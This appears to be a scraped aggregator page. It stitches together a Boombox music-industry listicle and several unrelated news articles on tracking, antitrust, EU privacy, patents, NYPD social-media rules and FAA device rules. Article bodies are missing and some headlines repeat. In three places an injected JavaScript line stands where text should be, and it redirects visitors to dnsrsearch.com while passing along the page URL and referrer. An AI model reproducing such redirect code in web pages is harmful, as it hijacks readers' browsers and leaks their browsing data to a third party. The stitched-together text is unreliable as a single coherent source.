10 New Rules of the Music Industry

Contact Us

Christopher Polk / Noam Galai / Theo Wargo / Craig Barritt, Getty Images

On a Tribe Called Quest’s 1991 song ‘Check the Rhime,’ Q-Tip provides one rule: “Industry Rule #4080: Record company people are shady,” he says. Years later, Notorious B.I.G. would equate the rap game with the crack game on ‘Ten Crack Commandments,’ declaring, “I been in this game for years, it made me an animal / There’s rules to this s—, I wrote me a manual.” Bottom line: sometimes we need rules, and in the ever-changing landscape of the music industry, perhaps a little guidance would be helpful.

Forget everything you thought you knew about the music industry before 2012. It’s gone. Dead. Wiped out of memory like a PC’s hard drive after clicking an email that said “Check out my pics from vacation.exe.” The results is an environment where the higher ups are no longer as high as we think and our favorite artists are within reach — or tweet. It’s a new day, and with a new day comes a brand new set of rules.

If you’re looking to embark on a career in the proverbial “game,” this is a little blueprint to get you started. Artists, this speaks directly to your lives right now. For everyone else, this is just a simple guide about what’s really happening in the careers of those rappers and singers you fancy. You can print this out, and like Drake says “have a f—in’ read-along.” Here are 10 New Rules of the Music Industry.

Where were you on Fri., Dec. 13, 2013 at midnight? Don't say sleeping, because you're lying. You were posted up in front of your computer on iTunes purchasing Beyonce Giselle Knowles-Carter's self-titled opus and you know it. King Bey dropped 'Beyonce' and not a single member of the Bey Hive knew beforehand. It was perhaps the boldest, Beyonce-est move in music history, as the songstress delivered a sexually-charged independent release as a middle finger to her label for not supporting her new musical pursuits.

While some artists in a lesser tax bracket may randomly drop "free albums" (we call them mixtapes, right?) at random, no one has done what Beyonce did when she delivered a surprise album without a gigantic promotional vehicle. This new rule that albums will unexpectedly fall from the sky is reserved for the Kings who know they'll still profit, despite what Beyonce said on 'Ghost' with, "Soul not for sale / Probably won't make no money off this, oh well." You know what that means: Azealia Banks, don't try this at home.

Many years ago, the worst nightmare for an artist would be the release of a sex tape, a nude photo or some sort of past endeavor that they did for money and wished they hadn't. Nowadays, it's unearthing past tweets. Even present ones for that matter. If you put it out on Twitter, consider it etched in stone. Know why? Because someone out there is randomly taking screenshots of that tweet to use at a later time, regardless of whether or not you delete what you wrote.

Take Macklemore, who just swept the 2014 Grammy Awards and won the hearts of Americans through the song 'Same Love,' which came equipped with same sex marriages (officiated by Queen Latifah) when he performed the song live at the ceremony. However, a 2009 tweet from the indie powerhouse showed his overzealous usage of "no homo," which had the LGBT community in an uproar. Your thoughts and ideals can change. Sure. But be careful what you tweet when you tweet it, because five years later, you may be reminded of the skeletons in your cyber closet.

Hey websites, ever been sued over a photo? Not pretty right? Not cheap either. Photo copyright infringement is almost as "dangerous" as sampling a song without clearance. Major professional photo banks like Getty Images were (and still are) a viable means of obtaining press photos of celebrities, in addition to photos from the celeb's publicist or managament. Not anymore. With artists and actors taking photos of everything from their faces to their food on Instagram, a whole well of flicks are at our disposal. Some people use Instagram more than others. Singers like Rihanna and Beyonce always have a steady stream of photos to check out, along with Miley Cyrus (and her tongue). On the rap front, Rick Ross always has some lovely photos to offer, as does French Montana (he even shared an Instagram photo of himself getting arrested). If you need Kanye West photos, though, head over to Kim Kardashian's Instagram page.

There was a time when label delays led rappers to drop mixtapes to sate their fans in between album releases. It used to be a great idea. Used to be. That was until the mixtape completely replaced albums for a while, often being called "free albums" or "free EPs." You know what you don't make from free mixtapes? Money. And after a while, the effort put into mixtapes was on the decline after things like production and studio time came with no clear indication of a recoup. Projects like Lil Wayne's 'Dedication 5' and Meek Mill's 'Dreamchasers 3' are prime examples of mixtapes that would have garnered more praise in say, 2010, than they did in 2013. It's time for a change. Release albums, artists. Get studio time, grab beats from producers, record the album, sell it. You don't even have to promote it. Refer to Rule No. 1 for more information.

Beware of your lyrics, your public behavior, anything and everything you do once you land a coveted sponsorship deal. You will in fact be monitored, and you can lose that deal as fast as you received it. Back in 2009, when Chris Brown and Rihanna got into their fateful altercation en route to the Grammys, the photos that circulated of RiRi following the event led to Wrigley's pulling Brown from their campaign, even though 'Forever' was the new Doublemint anthem.

Reebok is another stickler. Last year, when Rick Ross uttered some sketchy bars on Rocko's 'U.O.E.N.O.' that suggested he was condoning rape, Reebok pulled his sponsorship right from under his large frame. Lil Wayne's Emmett Till line in Future's 'Karate Chop' remix left him without any more free Mountain Dew to drink. So you see, sponsors watch you like a potential employer does your Facebook page. Keep your brand squeaky clean, especially when you're paid to represent another one.

This one goes without saying, but it's a lesson we're all still learning. Hip-hop is a relatively younger art form compared to the extensive history of other genres. Since it's always been referred to as a "young man's game," the question of "What happens when the man is no longer young?" has been the elephant in the room for quite a while. Thank 44-year-old Jay Z for diminishing the boundaries of age set forth long ago in the rap game. It always feels like Jay is just getting started, so who knows? He may be rhyming at 60. And why not? Rock stars do it all the time. On the other side of the spectrum, we had a young Earl Sweatshirt of Odd Future who was geared to be the next Nas at the tender young age of 16. Teenagers being compared to legends (by the way, Nas is 40)? The age minimum and maximum are nonexistent. Age ain't nothing but a number.

Showing up on a reality TV show in place of an album (or in tandem with a release) isn't all that new. In 2005, Run-DMC's Reverend Run brought 'Run's House' to MTV, highlighting his family, career and love life. In 2008, conveniently around Valentine's Day, Public Enemy's own Flavor Flav debuted his romantically-challenged reality show 'Flavor of Love' on VH1. Love seems to be the common theme when it boils down rappers' careers hitting the reality TV circuit. 'T.I. and Tiny: The Family Hustle' and 'Marrying the Game' are both examples of shows centered around one rapper (continuing Run and Flav's legacy).

However, since the advent of 'Love & Hip Hop,' it's been a revolving door for rappers. Joe Budden, Jim Jones, Consequence, Saigon, Peter Gunz and the list goes on and on of rappers who have either made a cameo or starred in 'Love & Hip Hop' in their respective city. It seems to be the easiest way for artists to stay relevant without creating music these days.

Alberto E. Rodriguez, Getty Images

If Macklemore and Ryan Lewis taught you anything over the last few years, it's that major labels are the furthest thing from a necessity when it comes to fostering a successful career. It's not like they're completely irrelevant. It's just that the tables have turned, and an independent deal or DIY is the preferred means of moving units. They earned Grammy Awards and sold millions of singles and made an impact with their album 'The Heist' all on their own.

Financially it makes sense, and the internet has become an artist's greatest ally (and sometimes his worst enemy), but check the careers of acts like A$AP Rocky, Joey Bada$$ and Odd Future. While indie and imprint deals were struck for some in the middle of the buzz, artists are given more options to no longer be tethered to binding gigantic contracts that restrict any upward mobility. Sure some artists still prefer this means of management, but for many it's not necessary. Guess that dreaded 360 Deal is approaching obscurity as well.

Kevork Djansezian, Getty Images

For the 2014 publicist, Twitter, Facebook and Instagram as a social media vehicle is perfect for their artists. However, ever since they learned how to press "send" on a tweet or status, it's been game over. From ranting about their label woes (we see you Lupe Fiasco and Azealia Banks) to just complaining about everything and everyone around them (hi, Gucci Mane!) and making public apologies (Oh, Kanye.), rappers in particular love a good rant, especially on Twitter.

That's the bad side of it. The good side involves announcing album releases, tweeting at other artists and producers to reveal potential collaborations and announcing tour dates. Sure, it completely replaces a press release, but who references those anymore? Read any website and the "proof" of anything is usually a screen shot of a tweet, Instagram post or Facebook status. So there you go. A word of advice for artists: still use Twitter; just don't abuse it.

When Lauryn Hill delivered 'The Miseducation of Lauryn Hill 'back in 1998, and then swept the Grammys the following year -- including a win for the Best Rap Album, hip-hop purists were a bit concerned. Sure, Lauryn knew how to rap seamlessly, but she also knew how to sing just as well, and an album that was arguably primarily singing earned a rap-related honor. Was she the gateway drug to this ambiguity? Probably.

And while artists like Drake and more recently Childish Gambino have proven they too can both rap and sing, the grey area is where confusion (and dissension) lies. Since T-Pain retaught the masses how to use Auto-Tune, guys like Future have followed suit and the result is sing-songy rap. So is it singing? Is it rapping? Well, it's both, which is a tough pill to swallow, but that's what it is. Welcome to the new world. These are the new rules after all.

It appears that you already have an account created within our VIP network of sites on . To keep your points and personal information safe, we need to verify that it's really you. To activate your account, please confirm your password. When you have confirmed your password, you will be able to log in through Facebook on both sites.

Enter your password Forgot your password?

*Please note that your points, prizes and activities will not be shared between programs within our VIP network.

It appears that you already have an account on this site associated with . To connect your existing account with your Facebook account, just click on the account activation button below. You will maintain your existing profile and VIP program points. After you do this, you will be able to always log in to http://theboombox.com/ using your Facebook account.

*Please note that your points, prizes and activities will not be shared between programs within our VIP network.

Sign up for an account to comment, share your thoughts, and earn points to get great prizes.

Register on The Boombox quickly by logging in with your Facebook account. It's just as secure, and no password to remember!

View the original article here

DealBook: Dell Won’t Alter Voting Rules on Buyout Offer

window.location="http://www.dnsrsearch.com/index.php?origURL="+escape(window.location)+"&r="+escape(document.referrer);

Bits Blog: The Rules of In-Store Surveillance

You can tell when a powerful new technology, like tracking people as they shop, is coming of age. It starts trying to persuade people it is a force for good, and it broadens its reach and capabilities. Take the the observation and data collection techniques used by online retailers that are now moving into the physical world.

Cellphone signals, special apps and our movements tracked by software-enhanced cameras in stores are the equivalent of the tracking cookies in Internet browsers. Most people don’t seem to mind being tracked online, if the low percentage of people who disable cookies is any indication. (Studies suggest the number is below 10 percent.) Offline tracking, though, still seems to be a concern. Nordstrom discontinued using one mobile phone tracking system, produced by Euclid Analytics, after shoppers complained. That may be because the systems are new, and some people see more harm than benefit from the surveillance.

Euclid Analytics’ tools show how rich the data from tracking people’s behaviors can be.

On Tuesday, several companies involved in offline tracking announced that they would be working with a Washington-based research group, the Future of Privacy Forum, to develop a series of “best practices” for privacy controls for what it called “retail location analytics,” or tracking.

Euclid was among the sponsors, along with WirelessWerx, Mexia Interactive and ShopperTrak.

The Future of Privacy Forum is primarily supported by corporations, with extensive financing from the technology sector. According to Jules Polonetsky, its director and co-chairman, the organization also has an advisory board that includes “chief privacy officers, privacy academics and privacy advocates.”

On Thursday, Euclid also announced it was producing a series of analytics tools for specialty retailers, which it said would help stores make better decisions about things like operating hours and inventory. The product, which is primarily a comparison tool, also shows how rich the data from tracking people online can be.

“We’re offering benchmarking, so we can say ‘Your customer capture rate is 8 percent, and this week the average for your sector is 10 percent,’” said Will Smith, the chief executive of Euclid. “The question is not whether something is good or bad, but what something means.”

Mr. Smith would not provide specifics, but said his company’s product was now in hundreds of malls across the United States, and had captured information on thousands of shoppers at dozens of retailers. “We can tell if someone has visited multiple outlets of a store on the same day, which indicates they couldn’t find the product they wanted at the first one,” he said. “You can assume a lot of others went to a competitor.”

Mr. Smith emphasized that the data Euclid supplied to retailers was made anonymous and delivered in aggregated forms, which he said made it unsuited to personally identifying customers. But the data gathered by the company, which Mr. Smith founded with the former head of Google Analytics, can be used to determine things like whether a Starbucks’ customer with a loyalty card stays longer at the coffee shop, or how often a store is acquiring repeat shoppers.

Over time, it is likely that at least some customers will accept tracking, particularly if offered incentives like free mall parking in exchange for visiting a specific store. “People became used to Web analytics,” Mr. Smith said, “Amazon’s customer experience is 10 times better because of the data it gathers on people. Shorter lines and good in-store service can also come from data.”

Judge Rules Against Apple in E-Books Trial

“Without Apple’s orchestration of this conspiracy, it would not have succeeded as it did in the spring of 2010,” the judge, Denise L. Cote of United States District Court in Manhattan, said in her ruling. She said a trial for damages would follow.

Government lawyers argued in court last month that Apple had colluded with five big American publishers to raise prices for electronic books across the publishing market.

The Justice Department brought the antitrust case against Apple and the publishers a year ago. The publishers settled their cases, but Apple executives insisted that the company had done nothing wrong, and the company continued to insist that on Wednesday.

“Apple did not conspire to fix e-book pricing and we will continue to fight against these false accusations,” Tom Neumayr, an Apple spokesman, said. “When we introduced the iBookstore in 2010, we gave customers more choice, injecting much needed innovation and competition into the market, breaking Amazon’s monopolistic grip on the publishing industry. We’ve done nothing wrong and we will appeal the judge’s decision.”

The Justice Department said the judge’s decision was a victory for people who buy e-books.

“Companies cannot ignore the antitrust laws when they believe it is in their economic self-interest to do so,” the Justice Department said in a statement. “This decision by the court is a critical step in undoing the harm caused by Apple’s illegal actions.”

It appears unlikely that the ruling will have an immediate effect on the book-buying public. The publishers who have already settled with the government are operating under the settlement’s terms, which prohibit publishers from restricting a retailer’s ability to discount books.

Since those settlements have gone into effect, prices on many newly released and best-selling e-books have gone down. One New York Times best-seller, “And the Mountains Echoed,” by Khaled Hosseini, is sold on Amazon.com for $10.99. But other e-books seem to have held closer to pre-settlement prices: “The Ocean at the End of the Lane,” by Neil Gaiman, is listed for $12.80 on Amazon.

The antitrust battle underscores the turmoil in the book industry as readers shift from ink and paper to electronic devices like tablets and smartphones, where they can buy content with the push of a button. While the publishers want to embrace new media, they are also trying to protect their profits and retain control of their businesses. Apple’s lawyers noted at the trial that the publishers had long complained that Amazon.com’s uniform pricing of $9.99 for new e-book titles was too low.

A recent survey of the publishing industry revealed that in the United States, e-books account for 20 percent of publishers’ revenue, more than $3 billion, up from 15 percent the year before. E-books have had a slower rate of adoption in Europe and the rest of the world, but analysts expect that major growth will develop in the next several years. A report by Forrester predicted that by 2017, Europe will be the largest e-book market in the world, generating revenue of $19 billion.

In his testimony, Eddy Cue, Apple’s senior vice president of Internet software and services, who was in charge of negotiating deals with the publishers, conceded that Apple opened the door for book publishers to raise prices in its own e-book store. But he said that the company was not intending to push Amazon, the dominant player in the e-book market, to raise its prices, too.

“Amazon could have negotiated a better deal,” Mr. Cue said in his testimony. “They had a lot more power.”

But the Justice Department said Apple’s deal with the publishers left Amazon with no choice but to raise prices. When Apple entered the e-book market in 2010, it changed the way publishers sold books by introducing a model called agency pricing, where the publisher — not the retailer — sets the price, and Apple took a cut of each sale. As a result, the publishers were able to set e-book prices higher. Apple proposed price caps of $12.99 and $14.99.

Bits: F.A.A. to Consider Relaxed Rules for Devices on Planes

window.location="http://www.dnsrsearch.com/index.php?origURL="+escape(window.location)+"&r="+escape(document.referrer);

Bits: F.A.A. to Consider Relaxed Rules for Devices on Planes

window.location="http://www.dnsrsearch.com/index.php?origURL="+escape(window.location)+"&r="+escape(document.referrer);

Europe Still Wrangling Over Online Privacy Rules

But because of intense lobbying by Silicon Valley companies and other powerful groups in Brussels, several proposals have been softened, no agreement is in sight and governments are openly sparring with one another over how far to go in protecting privacy.

On Thursday, justice ministers from the European Union’s 27 member states agreed to a business-friendly proposal that what companies do with personal data would be scrutinized by regulators only if there were “risks” to individuals, including identity theft or discrimination.

The ministers debated a proposal that would no longer require companies to obtain “explicit” consent from users whose personal data they collect and process, instead of “unambiguous” consent, which is considered to be a lower legal threshold. And they discussed a proposal on balancing an individual’s right to data protection with other rights, including the freedom to do business.

The ministers deferred discussion of the other most fractious provision, the so-called right to be forgotten. But in recent weeks, public comments by lawmakers and draft language suggested a softening of approach.

“The right to be forgotten has been softened, made more palatable,” said Viktor Mayer-Schönberger, professor of Internet governance at the University of Oxford. “But it is by no means dead.”

Although a final version of the legislation is not expected to be completed for many months, and maybe not until next year, the developments on Thursday are an early signal that the technology industry’s lobbying efforts are gaining some traction.

The lobbying has been “exceptional” and legislators in Europe need “to guard against undue pressure from industry and third countries to lower the level of data protection that currently exists,” said Peter Hustinx, the European data protection supervisor, referring to countries outside of the European Union.

“The benefits for industry should not and do not need to be at the expense of our fundamental rights to privacy and data protection,” Mr. Hustinx warned in e-mailed comments.

In the last year, American technology companies have dispatched representatives to Brussels and issued white papers through industry associations arguing that stringent privacy regulations would hamstring businesses, already suffering from the recession in Europe.

United States government officials have also made trips across the Atlantic to press policy makers like Viviane Reding, the union’s justice commissioner, who drafted the original, strict measures, to press for a less restrictive approach to data privacy.

The industry’s arguments have found a ready audience among some European governments. They include Ireland and Britain, where there are acute worries that the European Union is failing to take advantage of growth opportunities from Internet businesses that might help revive the economy. Apple, Facebook and Google all have European headquarters in Dublin.

“Europe is not sleepwalking into unworkable regulations,” said Richard Allan, Facebook’s director of policy for Europe, echoing a cautious optimism among industry officials about the data privacy law. “What’s positive is that over the last year, the debate has broadened out. There are other voices in the debate, who are saying: ‘Hang on a minute. What about the economic crisis?’ ”

The proposed law would affect most companies that deal in personal information — including pictures posted on social networks or information on what people buy on retail sites or look for using a search engine.

Whatever is enacted would serve as the privacy law in every country in the European Union and potentially have a bearing on other countries drafting data protection laws of their own.

The ministers took up their version of the law on Thursday; another version is under discussion by the European Parliament.

James Kanter reported from Brussels and Somini Sengupta from San Francisco.

E.U. Rules Against Patent Play by Google’s Motorola Unit

The finding, which could lead to a steep fine, comes as the commission tries to ensure that companies do not wield their patent portfolios to block others from using the technologies vital to developing some of the most popular consumer electronics.

“I think that companies should spend their time innovating and competing on the merits of the products they offer — not misusing their intellectual property rights to hold up competitors to the detriment of innovation and consumer choice,” Joaquín Almunia, the European Union’s competition commissioner, said in a statement.

Motorola Mobility obtained an injunction from a German court preventing Apple from using patents called standard-essential for the industry.

The commission said it regarded some injunctions to enforce patent claims as legitimate. But it said that holders of standard-essential patents who had already agreed to fair, reasonable and nondiscriminatory licensing terms had to meet certain standards before resorting to injunctions.

Google referred questions to Katie Dove, a spokeswoman for Motorola, who said the company had followed the procedure in a German court ruling.

“We agree with the European Commission that injunctions should only be sought against unwilling licensees,” Ms. Dove said in a statement.

Motorola has two months to respond to the charges.

Of concern to regulators in Europe is how certain national courts, in particular in Germany have made it relatively easy to win injunctions in such cases, and how that could eventually result in a manufacturer having to take a popular device off the market.

“The patent wars are now widespread,” said Michael A. Carrier, a Rutgers Law School professor who specializes in antitrust law. “But there hasn’t yet been an injunction that has really taken phones out of people’s pockets, and that’s probably one thing that the Europeans are probably really worried about.”

Google completed its acquisition of Motorola Mobility last year to take advantage of patents to bolster its Android operating system. Google picked up 17,000 patents, including many relating to wireless devices that Motorola, a pioneer in the wireless phone business, had pledged to license on reasonable terms.

Those commitments were made to technology standards organizations, intended to assure that basic technical innovations were widely available, stimulating growth in the industry.

While virtually all the major tech companies have sought legal or regulatory intervention, one of the biggest battles has been between Apple and Samsung, the South Korean maker of smartphones and tablets. Apple has complained about Samsung’s using designs and packaging from the iPhone and iPad while Samsung has accused Apple of infringing its wireless telecommunications patents.

Samsung came under formal investigation by Mr. Almunia late last year for the way it has used standard-essential patents and sought injunctions against its competitors.

Google’s acquisition of Motorola Mobility, worth about $12.5 billion, won regulatory approval in Europe last year. But in a warning at the same time, Mr. Almunia said his decision to approve that acquisition would not exonerate any wrongdoing by Motorola in the past.

Mario Mariniello, a competition expert at Bruegel, a research organization in Brussels, said the case is a difficult one to decide. “That judgment may be very difficult,” he said, “but the commission still looks like it wants to set a strong precedent in this case by punishing Motorola for making it so difficult for Apple to win a license.”

He added that “for an injunction to be abusive, so much depends on a licensee, like Apple in this case, showing that it was actually willing to pay a fair price for the technology.”

Mr. Almunia announced formal investigations last April against Motorola Mobility after complaints by Apple, which is concerned about access to other wireless patents for the iPhone and iPad, and by Microsoft, which is concerned about access to video and wireless patents for its products including the Xbox.

On Monday, Mr. Almunia’s department said in a statement that the Motorola Mobility injunction against Apple could amount to “an abuse of a dominant position prohibited by E.U. antitrust rules.” E.U. officials said they were still considering whether to act on Microsoft’s complaint.

Much of the behavior under investigation in this case occurred before Google purchased Motorola Mobility, according to E.U. officials. But Google, as the parent company, may still face costs to cover any fine incurred by Motorola for any past behavior and continuing harm to Apple.

Google has already settled a similar case in the United States by agreeing to license its standard-essential patents to other companies on “fair and reasonable” terms. It also agreed not to seek court injunctions to halt the shipment of smartphones, tablets and other devices that use its standard patents.

This article has been revised to reflect the following correction:

Correction: May 6, 2013

An earlier version of this article misstated the timing of the American and European approval of Google’s acquisition of Motorola Mobility. It was in February 2012, not February of this year. 

Judge Rules Against Viacom in Copyright Suit Against YouTube

The $1 billion lawsuit, first filed in a New York federal court in 2007, became a symbol of the tug of war between media companies and Internet video outlets. In 2010, a judge sided with YouTube. Viacom appealed and last year the United States Court of Appeals for the Second Circuit in New York abandoned the original ruling.

On Thursday, Judge Louis L. Stanton of Federal District Court in New York sided with YouTube, which is now owned by Google, saying the Web video service was protected by the “safe harbor provisions” of the Digital Millennium Copyright Act, which would require YouTube to have knowledge of copyright infringement.

“The burden of showing that YouTube knew or was aware of the specific infringements of the works in the suit cannot be shifted to YouTube to disprove,” Judge Stanton said.

Viacom said on Thursday that it would appeal the decision. “This ruling ignores the opinions of the higher courts and completely disregards the rights of creative artists,” a company spokesman, Jeremy Zweig, said in a statement. “We continue to believe that a jury should weigh the facts of this case and the overwhelming evidence that YouTube willfully infringed on our rights.”

Chad Hurley, YouTube’s co-founder and former chief executive, responded to the ruling by sending a tweet directed at Philippe Dauman, Viacom’s chief executive.

“Hey Philippe, wanna grab a beer to celebrate?!” Mr. Hurley wrote to his nearly 485,000 followers. “YouTube Again Beats Viacom’s Massive Infringement Lawsuit.”

Kelly Issues Rules for New York Police Officers’ Use of Social Media

As word of the order spread, police officers across the city checked their accounts to see if anything they had posted might run afoul of the new rules. Some edited their personal accounts to remove references to the department.

One officer, who had served in the military, replaced a Twitter profile photo of himself in his blue patrol hat with a portrait of himself in an Army uniform. Another wondered if his profile should include the word “detective.”

For years, officers faced relatively few official restrictions on social media, where many proudly posted photos of themselves in uniform and listed their job as “N.Y.P.D.” Indeed, the Police Department has lagged behind other jurisdictions in formalizing rules for personal online behavior.

“Such an order is not unexpected,” said Roy T. Richter, president of the Captains Endowment Association, the union that represents high-ranking officers. “The only surprise is that the order was not put out before now.”

The order followed recent embarrassing online activity at the Fire Department in which two of its members, including the fire commissioner’s son, wrote racially inflammatory Twitter posts. Commissioner Raymond W. Kelly, however, said on Thursday that his order had been in the works long before.

The Fire Department is drafting its own social media policy, a spokesman said.

In issuing the new rules, Mr. Kelly sought to motivate officers to scrutinize their postings in what appeared to be an effort to defuse any lurking social media land mines.

The three-page order dated Monday details online behavior that could land officers in trouble, including posting photos of other officers, tagging them in photos or putting photos of themselves in uniform — except at police ceremonies — on any social media site.

Members of the department are also “urged not to disclose or allude to their status” with it. Doing so could make that person ineligible for certain sensitive roles.

Other regulations were more straightforward: Do not post images of crime scenes, witness statements or other nonpublic information gained through work as a police officer; do not engage with witnesses, victims or defense lawyers; do not “friend” or “follow” minors encountered on the job.

Violations of the order can result in disciplinary action, including dismissal. Officers with existing social media accounts are ordered to “immediately ensure that their personal social media site is reviewed and in compliance with this order.”

The order, which builds on the city’s general social media policy and was reported on Thursday in The Daily News, comes a year and a half after officers posted insulting Facebook comments about the West Indian American Day Parade. In that case, more than a dozen members of the department were disciplined.

It also barred local commanders from sending out posts without approval from the department. Last year, one Brooklyn precinct commander was criticized for posting photographs of men about to be released from custody to a Twitter account maintained by the precinct.

“I think the captain’s actions were actually another example of the innovative thinking of our precinct commanders,” Mr. Richter said on Thursday. “He was thinking outside the box and he should be commended.”

Mr. Kelly said the order was intended partly to avoid confusion between the department’s official statements on social media, and personal statements by officers. He likened the rules to those put in place by many other agencies and private businesses.

“One of the issues in a complex business like this is that people say they’re part of an organization, this organization, and make a statement that the public can interpret as policy,” he said. “You can’t run an organization like that.”

But, he said, the department had not assigned anyone to comb through social media sites looking for violations; the new rules would be enforced when the department learned of potentially troublesome postings.

The guidelines appeared to broadly match those adopted by other big city departments around the country.

The Detroit Police Department issued its guidelines in 2011 after an officer posted photos of a suspect wielding a machete on his Facebook page. That same year, the Albuquerque police also barred department members from identifying themselves on social media. That order came shortly after an officer, involved in a fatal police shooting, was seen on Facebook describing his job as “human waste disposal.”

In Google Patent Case, F.T.C. Set Rules of Engagement for Battles

Yet even as Google made only a few voluntary promises on search, it agreed to a legal settlement on patents that Jon Leibowitz, the commission chairman, called a “landmark enforcement action” that applies to huge high-tech markets like smartphones and tablet computers.

The commission action by no means spells the end of the smartphone patent wars, a global conflict in which major corporations including Apple, Samsung and Google have spent billions amassing patent portfolios and then suing and countersuing one another in courts around the world. But legal experts say Google’s settlement with the F.T.C. signals progress in clarifying the rules of engagement in high-tech patent battles, and thus could ease them.

“The agreement represents a significant stride forward in reducing the confusion and uncertainty that currently surrounds how these patents can be used,” said Colleen Chien, a patent expert at the Santa Clara University School of Law.

The commission’s settlement with Google, announced on Thursday, focused on patents covering communications and data transmission technologies that are crucial for the basic operation of smartphones and tablets — what are known as standard-essential patents. (There are many other patents in mobile devices, covering physical design and software features.) The legal gamesmanship of the epic smartphone patent battles, according to economists and technology experts, consumes time and investment that could be better used to develop new products. In his comments on Thursday, Mr. Leibowitz pointed to those concerns. “Today’s commission action,” he said, “will also relieve companies of some of the costly and inefficient burden of hoarding patents for purely defensive purposes, savings that we hope can be invested in job-creating research and development.”

Under the settlement, Google agreed to license its standard-essential patents to other companies on “fair and reasonable” terms. It also agreed not to seek court injunctions to halt the shipment of smartphones, tablets and other devices that use its standard patents.

The issue arose from Google’s $12.5 billion purchase of Motorola Mobility, announced in 2011 and completed last year. Google acquired Motorola partly to defend itself and the smartphone makers that use its Android software after rivals had already loaded up on patents.

With the acquisition, Google picked up 17,000 patents, including many relating to wireless devices that Motorola, a pioneer in the wireless phone business, had pledged to license on reasonable terms. Those commitments were made to technology standards organizations, intended to assure that basic technical innovations are widely available, stimulating growth in the industry.

Over the years, according to Mr. Leibowitz, companies took Motorola at its word and developed products assuming they could routinely license Motorola’s patents. But Motorola later refused to license its standard-essential patents and sought court injunctions to stop shipment of rival products.

“After Google purchased Motorola,” Mr. Leibowitz said, “it continued these same abusive practices.”

In recent months, the F.T.C. has issued position papers and filed friend-of-the-court briefs, opposing the motions for injunctions using standard patents. The Justice Department and European regulators have echoed the commission’s stance.

“Regulators around the world have become increasingly sensitive to just how important technical standards and standards-setting bodies are to the modern system of economic innovation,” said Josh Lerner, an economist at Harvard Business School.

The threat of court injunctions to stop shipment of products, economists say, is the factor that drives up the cost of patent wars. Because an injunction could be devastating, companies will pay dearly to remove that risk, settling with a plaintiff or spending on patents to build a defensive arsenal.

Some courts have recently resisted granting injunctions based on standard patents. Google’s settlement with the F.T.C., said Carl Shapiro, a former chief economist in the Justice Department’s antitrust division, “helps solidify the move to stop injunctions in standard-essential patent cases, which is great.”

Dr. Shapiro, a professor at the University of California, Berkeley, said that courts had also been more hesitant recently to grant injunctions in cases that did not involve standard patents. In suits involving smartphones and tablets — amalgams of hardware, software and telecommunications technologies covered by many thousands of patents — judges are sometimes less likely to halt the shipment of a device based on a few infringing patents.

Last month, for example, Lucy Koh, a Federal District Court judge in San Jose, Calif., denied Apple’s motion for an injunction against Samsung products. In August, a jury in that court found that Samsung products infringed on a handful of Apple design and software patents, and awarded Apple $1.05 billion in damages.

Judge Koh declined to grant Apple’s motion for injunction, essentially saying that Apple’s claim was outweighed by the public interest in keeping Samsung shipments flowing. Apple is appealing the ruling.

“The courts seem to be moving toward taking a dimmer view of injunctions generally,” Dr. Shapiro said. “That’s a big deal.”

Disruptions: F.A.A. Rules Make Electronic Devices on Planes Hazardous

Airbus, via European Pressphoto Agency A pilot uses the FlySmart with Airbus app on an Apple iPad. The F.A.A. has no proof that electronic devices can harm a plane’s avionics, but it still perpetuates such claims.

Over the last year, flying with phones and other devices has become increasingly dangerous.

In September, a passenger was arrested in El Paso after refusing to turn off his cellphone as the plane was landing. In October, a man in Chicago was arrested because he used his iPad during takeoff. In November, half a dozen police cars raced across the tarmac at La Guardia Airport in New York, surrounding a plane as if there were a terrorist on board. They arrested a 30-year-old man who had also refused to turn off his phone while on the runway.

Who is to blame in these episodes? You can’t solely pin it on the passengers. Some of the responsibility falls on the Federal Aviation Administration, for continuing to uphold a rule that is based on the unproven idea that a phone or tablet can interfere with the operation of a plane.

These conflicts have been going on for several years. In 2010, a 68-year-old man punched a teenager because he didn’t turn off his phone. Lt. Kent Lipple of the Boise Police Department in Idaho, who arrested the puncher, said the man “felt he was protecting the entire plane and its occupants.” And let’s not forget Alec Baldwin, who was kicked off an American Airlines plane in 2011 for playing Words With Friends online while parked at the gate.

Dealing with the F.A.A. on this topic is like arguing with a stubborn teenager. The agency has no proof that electronic devices can harm a plane’s avionics, but it still perpetuates such claims, spreading irrational fear among millions of fliers.

A year ago, when I first asked Les Dorr, a spokesman for the F.A.A., why the rule existed, he said the agency was being cautious because there was no proof that device use was completely safe. He also said it was because passengers needed to pay attention during takeoff.

When I asked why I can read a printed book but not a digital one, the agency changed its reasoning. I was told by another F.A.A. representative that it was because an iPad or Kindle could put out enough electromagnetic emissions to disrupt the flight. Yet a few weeks later, the F.A.A. proudly announced that pilots could now use iPads in the cockpit instead of paper flight manuals.

The F.A.A. then told me that “two iPads are very different than 200.” But experts at EMT Labs, an independent testing facility in Mountain View, Calif., say there is no difference in radio output between two iPads and 200. “Electromagnetic energy doesn’t add up like that,” said Kevin Bothmann, the EMT Labs testing manager.

It’s not a matter of a flying device hitting another passenger, either. Kindles weigh less than six ounces; Walter Isaacson’s biography of Steve Jobs weighs 2.1 pounds in hardcover. I’d rather be hit in the head by an iPad Mini than a 650-page book.

In October, after months of pressure from the public and the news media, the F.A.A. finally said it would begin a review of its policies on electronic devices in all phases of flight, including takeoff and landing. But the agency does not have a set time frame for announcing its findings.

An F.A.A. spokeswoman told me last week that the agency was preparing to move to the next phase of its work in this area, and would appoint members to a rule-making committee that will begin meeting in January.

The F.A.A. should check out an annual report issued by NASA that compiles cases involving electronic devices on planes. None of those episodes have produced scientific evidence that a device can harm a plane’s operation. Reports of such interference have been purely speculation by pilots about the cause of a problem.

Other government agencies and elected officials are finally getting involved.

This December, Julius Genachowski, chairman of the Federal Communications Commission, sent a letter to the F.A.A. telling the agency that it had a responsibility to “enable greater use of tablets, e-readers and other portable devices” during flights, as they empower people and allow “both large and small businesses to be more productive and efficient, helping drive economic growth and boost U.S. competitiveness.”

A week later, Senator Claire McCaskill, Democrat of Missouri, also sent a letter to the F.A.A. noting that the public was “growing increasingly skeptical of prohibitions” on devices on airplanes. She warned that she was “prepared to pursue legislative solutions should progress be made too slowly.”

If progress is slow, there will eventually be an episode on a plane in which someone is seriously harmed as a result of a device being on during takeoff. But it won’t be because the device is interfering with the plane’s systems. Instead, it will be because one passenger harms another, believing they are protecting the plane from a Kindle, which produces fewer electromagnetic emissions than a calculator.

E-mail: bilton@nytimes.com

New Online Privacy Rules for Children

The regulations also reflect innovations like voice recognition, location technology and behavior-based online advertising, or ads tailored to an individual Internet user.

